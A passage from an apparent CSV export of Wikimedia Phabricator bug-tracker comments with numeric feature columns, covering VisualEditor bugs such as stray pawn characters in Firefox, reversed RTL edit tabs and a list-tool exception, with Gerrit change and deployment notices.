Thank you for your bug report, Jan! Hope to get this fixed soon.",,,1367895881,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fkhtpgjkzrvqucqxny7q,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,5.0,0.0,3.0,0.0,5.0,8.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.135135135135135,0.6756756756756757,"Thank y(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thank you for your bug report, Jan! Hope to get this fixed soon."
50024,VisualEditor: Pawn characters created when moving cursors around inline images in Firefox,"All the pawns

See attached image, basically the idea is that indenting or de-indenting a list item will cause there to be a pawn in the list item. Also, when I used the arrow keys to navigate past some images, it put pawns next to the images.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10767}",High,80.0,1367532360,1369100291.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-sw2uw4ekzaqwybdqmbq6,task_description,resolved,True,c1,1,True,False,True,-9,,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,10.0,2.0,1.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,7.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5301204819277108,0.6265060240963856,"All the pawns

See attached image, basically the idea is that indenting or de-indenting a list item will cause there to be a pawn in the list item. Also, when I used the arrow keys to navigate past some images, it put pawns next to the images.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10767}"
223807,VisualEditor: Pawn characters created when moving cursors around inline images in Firefox,This is now fixed in wmf4 (which is the current in-production version); marking as such.,,,1369098863,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sw2uw4ekzaqwybdqmbq6,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5238095238095237,0.9047619047619048,This is now fixed in wmf4 (which is the current in-production version); marking as such.
223801,VisualEditor: Pawn characters created when moving cursors around inline images in Firefox,"Nothing about the list or indenting, just the cursor keys trigger it (Firefox only).",,,1367545948,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sw2uw4ekzaqwybdqmbq6,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,0.9444444444444444,"Nothing about the list or indenting, just the cursor keys trigger it (Firefox only)."
50017,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""",The order should be Edit then Edit tab. Looks like a hard-coded left somewhere?,High,80.0,1367527740,1506606636.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_description,resolved,True,c1,1,True,False,False,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9444444444444444,The order should be Edit then Edit tab. Looks like a hard-coded left somewhere?
938300,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","Change 381217 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] ve.init.mw.DesktopArticleTarget: Fix the code to reorder tabs

[[https://gerrit.wikimedia.org/r/381217]]
",,,1506613751,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.454545454545454,0.7878787878787878,"Change 381217 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] ve.init.mw.DesktopArticleTarget: Fix the code to reorder tabs

[[GERRIT_URL]]
"
938189,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","Change 381217 had a related patch set uploaded (by Bartosz Dziewoński; owner: Bartosz Dziewoński):
[mediawiki/extensions/VisualEditor@master] ve.init.mw.DesktopArticleTarget: Fix the code to reorder tabs

[[https://gerrit.wikimedia.org/r/381217]]
",,,1506606897,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,14.0,4.651162790697675,0.7906976744186046,"Change 381217 had a related patch set uploaded (by Bartosz Dziewoński; owner: Bartosz Dziewoński):
[mediawiki/extensions/VisualEditor@master] ve.init.mw.DesktopArticleTarget: Fix the code to reorder tabs

[[GERRIT_URL]]
"
938185,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","After trying to verify the fix during the SWAT deployment, I found out that this entire feature (fixing up the tab order if wgVisualEditorTabPosition was changed and we're seeing cached HTML with the tabs in wrong order) is actually entirely broken and just does nothing. The deployment was essentially a no-op. This is actually convenient because had it worked, it would have been messing up the tabs.",,,1506606636,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,True,,,221,,0.0,0.0,1.0,3.0,0.0,4.0,3.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,6.0,14.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,8.0,4.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,14.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,4.363636363636363,0.7922077922077922,"After trying to verify the fix during the SWAT deployment, I found out that this entire feature (fixing up the tab order if wgVisualEditorTabPosition was changed and we're seeing cached HTML with the tabs in wrong order) is actually entirely broken and just does nothing. The deployment was essentially a no-op. This is actually convenient because had it worked, it would have been messing up the tabs."
938170,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AV7ItYHmF4fsM4DBdIoK} [2017-09-28T13:38:12Z] <zfilipin@tin> Synchronized php-1.31.0-wmf.1/extensions/VisualEditor/modules/ve-mw/init/targets/ve.init.mw.DesktopArticleTarget.init.js: SWAT: [[gerrit:381210|ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector (T50017)]] (duration: 00m 50s)",,,1506605892,,PHID-USER-j4uyesgqhubl2dywl4xd,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0843373493975905,0.6746987951807228,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-09-28T13:38:12Z] <zfilipin@tin> Synchronized php-1.31.0-wmf.1/extensions/VisualEditor/modules/ve-mw/init/targets/ve.init.mw.DesktopArticleTarget.init.js: SWAT: [[gerrit:381210|ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector (T50017)]] (duration: 00m 50s)"
938146,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","Change 381210 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@wmf/1.31.0-wmf.1] ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector

[[https://gerrit.wikimedia.org/r/381210]]
",,,1506604497,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,11.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.526315789473684,0.7631578947368421,"Change 381210 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@wmf/1.31.0-wmf.1] ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector

[[GERRIT_URL]]
"
938122,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","Change 381210 had a related patch set uploaded (by Bartosz Dziewoński; owner: Bartosz Dziewoński):
[mediawiki/extensions/VisualEditor@wmf/1.31.0-wmf.1] ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector

[[https://gerrit.wikimedia.org/r/381210]]
",,,1506602050,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,23.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,4.6875,0.7916666666666666,"Change 381210 had a related patch set uploaded (by Bartosz Dziewoński; owner: Bartosz Dziewoński):
[mediawiki/extensions/VisualEditor@wmf/1.31.0-wmf.1] ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector

[[GERRIT_URL]]
"
938023,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","Change 381167 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector

[[https://gerrit.wikimedia.org/r/381167]]
",,,1506589079,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.5,0.7777777777777778,"Change 381167 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector

[[GERRIT_URL]]
"
937978,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""",(This will need to be backported to 1.31.0-wmf.1.),,,1506577515,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,True,,,221,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,0.9230769230769231,(This will need to be backported to 1.31.0-wmf.1.)
937973,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","Change 381167 had a related patch set uploaded (by Bartosz Dziewoński; owner: Bartosz Dziewoński):
[mediawiki/extensions/VisualEditor@master] ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector

[[https://gerrit.wikimedia.org/r/381167]]
",,,1506576918,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,24.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,13.0,4.673913043478261,0.782608695652174,"Change 381167 had a related patch set uploaded (by Bartosz Dziewoński; owner: Bartosz Dziewoński):
[mediawiki/extensions/VisualEditor@master] ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector

[[GERRIT_URL]]
"
937972,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","With the underlying issue T48947 being fixed, our workaround is now unnecessary and in fact reintroduces this issue. We should remove it.",,,1506576890,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,True,,,221,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,8.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.64,0.92,"With the underlying issue T48947 being fixed, our workaround is now unnecessary and in fact reintroduces this issue. We should remove it."
223402,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""",*** Bug 47684 has been marked as a duplicate of this bug. ***,,,1368639099,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47684 has been marked as a duplicate of this bug. ***
223397,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""",Merged into master.,,,1368232328,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Merged into master.
223394,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""",Related URL: https://gerrit.wikimedia.org/r/63153 (Gerrit Change Ie1214b08450aefed893739a2b862cb1e9b23a2ef),,,1368210908,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ie1214b08450aefed893739a2b862cb1e9b23a2ef)
223389,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","This is caused by bug 46947 – the HTML order of tabs is reversed, then reversed again in the CSS...",,,1367527956,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.8636363636363636,"This is caused by bug 46947 – the HTML order of tabs is reversed, then reversed again in the CSS..."
49947,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,"There are probably two solutions - make it work - or disable list buttons while in block slug.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1367431680,1372704235.0,PHID-USER-s7sn3zjthnxvep34c5ho,False,,False,PHID-TASK-ht3d5xeklsjuq5qulguj,task_description,resolved,True,c1,1,False,False,True,-9,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.027027027027027,0.7297297297297297,"There are probably two solutions - make it work - or disable list buttons while in block slug.

--------------------------
**Version**: unspecified
**Severity**: normal"
219133,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,Fixed and will be deployed later today.,,,1372704235,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ht3d5xeklsjuq5qulguj,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,Fixed and will be deployed later today.
219128,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,"Change 71353 merged by jenkins-bot:
Allow creating lists in block slugs

